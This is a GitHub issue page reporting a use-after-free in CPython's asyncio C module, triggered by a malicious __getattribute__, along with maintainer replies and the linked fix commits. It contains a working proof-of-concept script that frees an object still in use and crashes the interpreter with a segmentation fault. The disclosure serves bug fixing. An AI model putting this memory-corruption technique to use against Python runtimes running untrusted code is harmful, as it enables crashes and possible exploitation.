Skip to content

UAF when using a malicious __getattribute__ when calling a class's cancel function in task_step_handle_result_impl in _asynciomodule.c #126138

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
Nico-Posada opened this issue Oct 29, 2024 · 2 comments
Assignees
Labels
3.12 only security fixes 3.13 bugs and security fixes 3.14 bugs and security fixes extension-modules C modules in the Modules dir topic-asyncio type-crash A hard crash of the interpreter, possibly with a core dump

Comments

@Nico-Posada
Copy link
Contributor

Nico-Posada commented Oct 29, 2024

Crash report

What happened?

This is the bug I mentioned I was looking into in #126080 (comment), but it's the same as all the ones that came before this.

PyObject *r;
int is_true;
r = PyObject_CallMethodOneArg(result, &_Py_ID(cancel),
task->task_cancel_msg);

task->task_cancel_msg is missing an incref before usage so we can use a malicious __getattribute__ function in our class to free it before it gets sent to our cancel function.

PoC

import asyncio
import types

async def evil_coroutine():
    @types.coroutine
    def sync_generator():
        # ensure to keep obj alive after the first send() call
        global evil
        while 1:
            yield evil
    await sync_generator()

class Loop:
    is_running = staticmethod(lambda: True)
    get_debug = staticmethod(lambda: False)
         
class Evil:
    _asyncio_future_blocking = True
    get_loop = staticmethod(lambda: normal_loop)

    def add_done_callback(self, callback, *args, **kwargs):
        # sets task_cancel_msg to our victim object which will be deleted
        asyncio.Task.cancel(task, to_uaf)
    
    def cancel(self, msg):
        # if hasn't crashed at this point, you'll see its the same object that was just deleted
        print("in cancel", hex(id(msg)))

    def __getattribute__(self, name):
        global to_uaf
        if name == "cancel":
            class Break:
                def __str__(self):
                    raise RuntimeError("break")

            # at this point, our obj to uaf only has 2 refs, `to_uaf` and `task->task_cancel_msg`. Doing a partial task init will clear
            # fut->fut_cancel_msg (same thing as task_cancel_msg, it's just been cast to a fut obj), and then we can just `del to_uaf` to free
            # the object before it gets sent to our `cancel` func
            try:
                task.__init__(coro, loop=normal_loop, name=Break())
            except Exception as e:
                assert type(e) == RuntimeError and e.args[0] == "break"

            del to_uaf
            # to_uaf has now been deleted, but it will still be sent to our `cancel` func

        return object.__getattribute__(self, name)

class DelTracker:
    def __del__(self):
        print("deleting", hex(id(self)))

to_uaf = DelTracker()
normal_loop = Loop()
coro = evil_coroutine()
evil = Evil()

task = asyncio.Task.__new__(asyncio.Task)
task.__init__(coro, loop=normal_loop, name="init", eager_start=True)

Output

deleting 0x7f7a49cf9940
in cancel 0x7f7a49cf9940
Segmentation fault

CPython versions tested on:

3.13

Operating systems tested on:

Linux

Output from running 'python -VV' on the command line:

Python 3.13.0 (tags/v3.13.0:60403a5409f, Oct 10 2024, 09:24:12) [GCC 13.2.0]

Linked PRs

@Nico-Posada Nico-Posada added the type-crash A hard crash of the interpreter, possibly with a core dump label Oct 29, 2024
@Nico-Posada
Copy link
Contributor Author

Sidenote: This happens in 2 spots so both need to be fixed

First Usage:

PyObject *r;
int is_true;
r = PyObject_CallMethodOneArg(result, &_Py_ID(cancel),
task->task_cancel_msg);

Second Usage (the one I linked in my report):

PyObject *r;
int is_true;
r = PyObject_CallMethodOneArg(result, &_Py_ID(cancel),
task->task_cancel_msg);

@picnixz
Copy link
Member

picnixz commented Oct 29, 2024

As always, thank you! I really like how you incorporate the bits I put in the test for you previous issue. I am not on my dev environment now (and won't be before at least 12 hours) so if you want to patch this one as well, you can create the PR! (I can review it though).

@picnixz picnixz added topic-asyncio extension-modules C modules in the Modules dir 3.12 only security fixes 3.13 bugs and security fixes 3.14 bugs and security fixes labels Oct 29, 2024
@github-project-automation github-project-automation bot moved this to Todo in asyncio Oct 29, 2024
@Nico-Posada Nico-Posada changed the title UAF in _asynciomodule.c when calling a class's cancel function using a malicious __getattribute__ in task_step_handle_result_impl UAF when using a malicious __getattribute__ when calling a class's cancel function in task_step_handle_result_impl in _asynciomodule.c Oct 29, 2024
kumaraditya303 pushed a commit that referenced this issue Nov 2, 2024
miss-islington pushed a commit to miss-islington/cpython that referenced this issue Nov 2, 2024
…attribute__` (pythonGH-126305)

(cherry picked from commit f032f6b)

Co-authored-by: Nico-Posada <[email protected]>
Co-authored-by: Carol Willing <[email protected]>
miss-islington pushed a commit to miss-islington/cpython that referenced this issue Nov 2, 2024
…attribute__` (pythonGH-126305)

(cherry picked from commit f032f6b)

Co-authored-by: Nico-Posada <[email protected]>
Co-authored-by: Carol Willing <[email protected]>
@github-project-automation github-project-automation bot moved this from Todo to Done in asyncio Nov 2, 2024
kumaraditya303 pushed a commit that referenced this issue Nov 2, 2024
…tattribute__` (GH-126305) (#126325)

gh-126138: Fix use-after-free in `_asyncio.Task` by evil `__getattribute__` (GH-126305)
(cherry picked from commit f032f6b)

Co-authored-by: Nico-Posada <[email protected]>
Co-authored-by: Carol Willing <[email protected]>
kumaraditya303 pushed a commit that referenced this issue Nov 2, 2024
…tattribute__` (GH-126305) (#126324)

gh-126138: Fix use-after-free in `_asyncio.Task` by evil `__getattribute__` (GH-126305)
(cherry picked from commit f032f6b)

Co-authored-by: Nico-Posada <[email protected]>
Co-authored-by: Carol Willing <[email protected]>
picnixz pushed a commit to picnixz/cpython that referenced this issue Dec 8, 2024
ebonnal pushed a commit to ebonnal/cpython that referenced this issue Jan 12, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3.12 only security fixes 3.13 bugs and security fixes 3.14 bugs and security fixes extension-modules C modules in the Modules dir topic-asyncio type-crash A hard crash of the interpreter, possibly with a core dump
Projects
Status: Done
Development

No branches or pull requests

3 participants